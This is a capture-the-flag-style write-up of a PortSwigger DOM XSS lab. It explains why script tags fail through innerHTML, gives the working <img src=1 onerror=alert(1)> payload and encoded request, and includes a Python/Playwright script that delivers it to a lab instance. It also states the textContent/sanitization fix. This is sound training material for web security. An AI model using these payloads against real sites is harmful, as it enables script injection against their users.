DOM XSS in innerHTML sink using source location.search
Original lab: DOM XSS in innerHTML sink using source location.search on PortSwigger ↗
This lab looks almost identical to the previous one on the surface — the same location.search source, the same search box, the same absence of any server-side reflection to inspect — but the sink is different in a way that matters: innerHTML instead of document.write(). That single difference changes what payload actually works, which is the point of studying DOM sinks individually rather than treating "DOM XSS" as one interchangeable technique.
The Target
Same blog application, same search functionality, same client-side pattern of reading location.search and writing it into the page without going through the server. The difference only becomes visible once you look at *how* the value gets written.
The Investigation
innerHTML parses whatever string it's given as HTML — but critically, it does not execute <script> tags the way document.write() effectively can. Browsers strip or simply never run script elements inserted via innerHTML assignment, which is a long-standing (if inconsistent) browser protection against exactly this class of bug. That meant the script-tag payload that worked cleanly for the earlier reflected-HTML lab would land in the DOM here but never fire. What still works through innerHTML is any HTML element with an inline event handler, since those aren't subject to the same restriction — the browser happily attaches the onerror/onload handler and runs it the moment the element triggers.
The Exploit
We submitted an image tag with a broken source and an onerror handler:
GET /?search=%3Cimg%20src%3D1%20onerror%3Dalert(1)%3E
Payload: <img src=1 onerror=alert(1)>. The src=1 is not a valid image URL, so the browser fires its onerror event immediately after inserting the element via innerHTML, executing our JavaScript.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution is the same single-step payload: enter <img src=1 onerror=alert(1)> into the search box. Their explanation calls out the same mechanism we relied on — the invalid src triggers an error, which fires onerror and runs the alert. No divergence in approach. The only difference is that their walkthrough types the payload into the search box directly, while we issued the request via HTTP client and confirmed the resulting DOM execution with a headless browser.
What This Teaches Us
The practical lesson is that "sanitizing" HTML input isn't a single problem with a single fix — different DOM sinks have different execution rules, and a payload built for one sink can silently fail against another even when the underlying vulnerability (attacker-controlled data reaching a raw-HTML sink) is the same. innerHTML blocking <script> execution isn't a security control the application put there on purpose; it's incidental browser behavior, and event-handler attributes sail right through it. The actual fix is the same as every other DOM XSS lab in this series: don't feed location.search (or any attacker-controlled source) into innerHTML unescaped. Use textContent for plain text, or explicitly sanitize/encode before any HTML-parsing sink sees the value.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
DOM XSS in innerHTML sink using source location.search
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)
Companion script for the writeup: 04-dom-xss-innerhtml-sink.md
What this does:
Another pure client-side sink -- location.search flows into an innerHTML
assignment. innerHTML parses the string as HTML but browsers won't
execute a <script> tag inserted that way, so the payload uses an <img>
with a broken src and an onerror handler instead, which fires normally
through innerHTML. Delivers the payload and confirms execution with a
headless browser listening for the alert() dialog.
Usage:
python 04-dom-xss-innerhtml-sink.py <lab-url>
e.g. python 04-dom-xss-innerhtml-sink.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net
Requirements:
pip install httpx
pip install playwright && playwright install chromium
"""
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright
# innerHTML strips/never-executes <script> tags, so use an event handler instead.
PAYLOAD = "<img src=1 onerror=alert(1)>"
def solve(lab_url: str) -> None:
client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
client.get("/")
session = client.cookies.get("session", "")
domain = urllib.parse.urlparse(lab_url).netloc
url = f"{lab_url}/?search={urllib.parse.quote(PAYLOAD)}"
print(f"[*] Payload: {PAYLOAD}")
print(f"[*] Delivering to: {url}")
alert_fired = False
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
ctx = browser.new_context()
if session:
ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
page = ctx.new_page()
def on_dialog(dialog):
nonlocal alert_fired
alert_fired = True
dialog.accept()
page.on("dialog", on_dialog)
try:
page.goto(url, wait_until="domcontentloaded", timeout=15000)
page.wait_for_timeout(3000)
except Exception:
pass
browser.close()
print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")
check = client.get("/")
if "Congratulations" in check.text:
print("[+] Lab solved.")
else:
print("[-] Not solved yet.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Reflected XSS into HTML context with nothing encoded
- Stored XSS into HTML context with nothing encoded
- DOM XSS in document.write sink using source location.search
- DOM XSS in jQuery anchor href attribute sink using location.search source
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →